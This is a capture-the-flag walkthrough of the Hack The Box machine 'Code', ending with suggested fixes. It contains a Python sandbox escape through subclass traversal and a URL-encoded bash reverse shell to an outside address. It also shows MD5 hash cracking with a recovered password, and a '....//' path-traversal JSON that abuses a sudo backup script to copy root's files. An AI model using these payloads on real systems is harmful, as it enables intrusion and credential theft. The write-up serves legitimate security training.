HTB: Code
Code is an easy Linux box that hosts an online Python code interpreter. A filter bypass in the website gives us code execution on the box. We then obtain and crack the user's password from the local SQLite database. Finally, we escalate privileges to root by exploiting a path traversal in the backup script that the user can execute as root.
Overview
Code is an easy Linux box that hosts an online Python code interpreter. A filter bypass in the website gives us code execution on the box. We then obtain and crack the user’s password from the local SQLite database. Finally, we escalate privileges to root by exploiting a path traversal in the backup script that the user can execute as root.
Services
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# Nmap 7.94SVN scan initiated Wed Jul 9 14:28:12 2025 as: nmap -p 22,5000 -sSCV -vv -oN nmap.txt 10.10.11.62
Nmap scan report for 10.10.11.62
Host is up, received echo-reply ttl 63 (2.3s latency).
Scanned at 2025-07-09 14:28:27 UTC for 44s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrE0z9yLzAZQKDE2qvJju5kq0jbbwNh6GfBrBu20em8SE/I4jT4FGig2hz6FHEYryAFBNCwJ0bYHr3hH9IQ7ZZNcpfYgQhi8C+QLGg+j7U4kw4rh3Z9wbQdm9tsFrUtbU92CuyZKpFsisrtc9e7271kyJElcycTWntcOk38otajZhHnLPZfqH90PM+ISA93hRpyGyrxj8phjTGlKC1O0zwvFDn8dqeaUreN7poWNIYxhJ0ppfFiCQf3rqxPS1fJ0YvKcUeNr2fb49H6Fba7FchR8OYlinjJLs1dFrx0jNNW/m3XS3l2+QTULGxM5cDrKip2XQxKfeTj4qKBCaFZUzknm27vHDW3gzct5W0lErXbnDWQcQZKjKTPu4Z/uExpJkk1rDfr3JXoMHaT4zaOV9l3s3KfrRSjOrXMJIrImtQN1l08nzh/Xg7KqnS1N46PEJ4ivVxEGFGaWrtC1MgjMZ6FtUSs/8RNDn59Pxt0HsSr6rgYkZC2LNwrgtMyiiwyas=
| 256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDiXZTkrXQPMXdU8ZTTQI45kkF2N38hyDVed+2fgp6nB3sR/mu/7K4yDqKQSDuvxiGe08r1b1STa/LZUjnFCfgg=
| 256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP8Cwf2cBH9EDSARPML82QqjkV811d+Hsjrly11/PHfu
5000/tcp open http syn-ack ttl 63 Gunicorn 20.0.4
|_http-title: Python Code Editor
| http-methods:
|_ Supported Methods: HEAD OPTIONS GET
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jul 9 14:29:11 2025 -- 1 IP address (1 host up) scanned in 58.90 seconds
A Python web application running on gunicorn
is identified on port 5000, as well as SSH on port 22.
The web application, titled Python Code Editor, is an online Python interpreter, similar to this one, which allows you to execute Python code in the browser when you don’t have a local Python installation.
Vulnerabilities
The box begins with a filter bypass in the online Python interpreter which allows arbitrary code execution on the server. Following initial access to the box, weak passwords hashed with the MD5 algorithm were discovered in the application’s SQLite database. One of the cracked passwords is then used to authenticate as a privileged user who can execute a backup script with sudo privileges, and a path traversal vulnerability was discovered in this script to allow backup of the root directory for privilege escalation.
Insufficient input filtering for restricting code execution
One problem that online code editors face is that they need to ensure users do not execute dangerous code that could compromise their servers, i.e arbitrary code execution by importing dangerous modules like os
, and subprocess
.
While the application implements some form of input filtering to prevent direct imports like the code snippet below, it can be bypassed by calling functions associated with objects. We can use mro()
and __subclasses__
to traverse up and down the object inheritance tree to access a subclass that will allow code execution.
1
2
import os
os.system('id')
Affected path: http://10.10.11.62:5000/run_code
1
print(object.mro()[-1].__subclasses__())
Enumerating Python subclasses to reach
subprocess.popen
The following payload is used to confirm that we have code execution.
1
print(object.mro()[-1].__subclasses__()[317]('id', shell=True, stdout=-1).communicate()[0].strip())
Remote code execution via
subprocess.popen
subclass
This payload is used to get a reverse shell from the box:
1
print(object.mro()%5B-1%5D.__subclasses__()%5B317%5D('bash%20-c%20"bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.29%2F9001%200%3E%261"'%2Cshell%3DTrue%2Cstdout%3D-1).communicate()%5B0%5D.strip())
Weak passwords and MD5 hashing algorithm used is insecure
Once a reverse shell is obtained, we gain initial access as the app-production user. The web application’s SQLite database can be obtained from /app/instance/database.db
.
One of the passwords stored in this database is for martin, which is another user on the box. User passwords are stored in MD5 which are fast to crack, and susceptible to several vulnerabilities like hash collisions and length extension attacks.
1
2
3
sqlite> select * from user;
1|development|759b74ce43947f5f4c91aeddc3e5bad3
2|martin|3de6f30c4a09c27fc71932bfc68474be
1
2
3
$hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
759b74ce43947f5f4c91aeddc3e5bad3:development
3de6f30c4a09c27fc71932bfc68474be:nafeelswordsmaster
A weak password was used for martin, which cracked almost instantly to nafeelswordsmaster
and is then used to authenticate to obtain the user flag.
Path traversal in backup script
martin is configured to execute /usr/bin/backy.sh
with sudo privileges. This is a custom script and I would typically expect this to be placed under /usr/local/bin
instead of /usr/bin
🧐.
1
2
3
4
5
6
7
8
martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User martin may run the following commands on localhost:
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh
martin@code:~$ ls -l /usr/bin/backy.sh
-rwxr-xr-x 1 root root 926 Sep 16 2024 /usr/bin/backy.sh
The source code for backy.sh
is shown below.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/bin/bash
if [[ $# -ne 1 ]]; then
/usr/bin/echo "Usage: $0 <task.json>"
exit 1
fi
json_file="$1"
if [[ ! -f "$json_file" ]]; then
/usr/bin/echo "Error: File '$json_file' not found."
exit 1
fi
allowed_paths=("/var/" "/home/")
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
/usr/bin/echo "$updated_json" > "$json_file"
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
is_allowed_path() {
local path="$1"
for allowed_path in "${allowed_paths[@]}"; do
if [[ "$path" == $allowed_path* ]]; then
return 0
fi
done
return 1
}
for dir in $directories_to_archive; do
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done
echo "$json_file"
/usr/bin/backy "$json_file"
Essentially, the script parses a JSON file to remove ../
characters to prevent path traversals, and validates that the directories_to_archive
key only contains directories under /var/
and /home/
. After that, the parsed JSON is passed to /usr/bin/backy
.
backy is a tiny multiprocessing utility for file backups. Basically, it allows you to sync and archive directories by specifying a JSON task file.
However, this check can be bypassed because:
- The
../
sanitization isn’t recursive so we can use....//
- As long as the directory’s path begins with
/var/
or/home/
The template JSON file in /home/martin/backups
can be used to craft our exploit to backup the root directory. Just make sure that you remove the .*
exclude that was initially there so that your files actually get backed up.
1
2
3
4
5
6
7
8
9
10
11
{
"destination": "/home/martin/backups/test",
"multiprocessing": true,
"verbose_log": true,
"directories_to_archive": [
"/home/....//root"
],
"exclude": [
".*" <-- remove this
]
}
From there, we can escalate privileges to root by reading their SSH key in /root/.ssh/id_rsa
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
martin@code:~/backups$ sudo /usr/bin/backy.sh test.json
2025/07/09 15:30:29 🍀 backy 1.2
2025/07/09 15:30:29 📋 Working with test.json ...
2025/07/09 15:30:29 💤 Nothing to sync
2025/07/09 15:30:29 📤 Archiving: [/home/../root]
2025/07/09 15:30:29 📥 To: /home/martin/backups/test ...
2025/07/09 15:30:29 📦
tar: Removing leading `/home/../' from member names
/home/../root/
/home/../root/.local/
/home/../root/.local/share/
/home/../root/.local/share/nano/
/home/../root/.local/share/nano/search_history
/home/../root/.selected_editor
/home/../root/.sqlite_history
/home/../root/.profile
/home/../root/scripts/
/home/../root/scripts/cleanup.sh
/home/../root/scripts/backups/
/home/../root/scripts/backups/task.json
/home/../root/scripts/backups/code_home_app-production_app_2024_August.tar.bz2
/home/../root/scripts/database.db
/home/../root/scripts/cleanup2.sh
/home/../root/.python_history
/home/../root/root.txt
/home/../root/.cache/
/home/../root/.cache/motd.legal-displayed
/home/../root/.ssh/
/home/../root/.ssh/id_rsa
/home/../root/.ssh/authorized_keys
/home/../root/.bash_history
/home/../root/.bashrc
My Attempt to Fix
app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@app.route('/run_code', methods=['POST'])
def run_code():
code = request.form['code']
old_stdout = sys.stdout
redirected_output = sys.stdout = io.StringIO()
try:
for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write', 'subprocess', '__import__', '__builtins__']:
if keyword in code.lower():
return jsonify({'output': 'Use of restricted keywords is not allowed.'})
exec(code)
output = redirected_output.getvalue()
except Exception as e:
output = str(e)
finally:
sys.stdout = old_stdout
return jsonify({'output': output})
The code attempts to prevent dangerous imports by checking it against a list of restricted keywords. One way we could potentially fix this is by implementing a sandbox environment that removes certain builtins that may prevent access to system commands.
But imo this is prone to sandbox escapes, and there are many edges cases that eventually you’ll miss one due to Python shenanigans. So you could perhaps accept this risk and execute user code in a restricted container for example.
- Running Untrusted Python Code by Andrew Healey
- RestrictedPython
- How can I sandbox Python in pure Python?
To migrate from MD5 to a more secure hashing algorithm, we can double hash the current MD5 hashes and store bcrypt(md5($password))
in the database. This allows users to retain their existing passwords while making them more difficult to crack if the database was ever compromised. In addition, a strong password policy can be used to make cracking almost impossible.
backy.sh
We can use realpath
to resolve the full path to check that the base path always starts with /var/
or /home/
.
We can prevent the path traversal by resolving the full path with realpath
, and checking that the base path always starts with /var/
or /home/
.
1
2
3
4
5
6
7
for dir in $directories_to_archive; do
real_dir=$(realpath -m -- "$dir")
if ! is_allowed_path "$real_dir"; then
/usr/bin/echo "Error: $real_dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done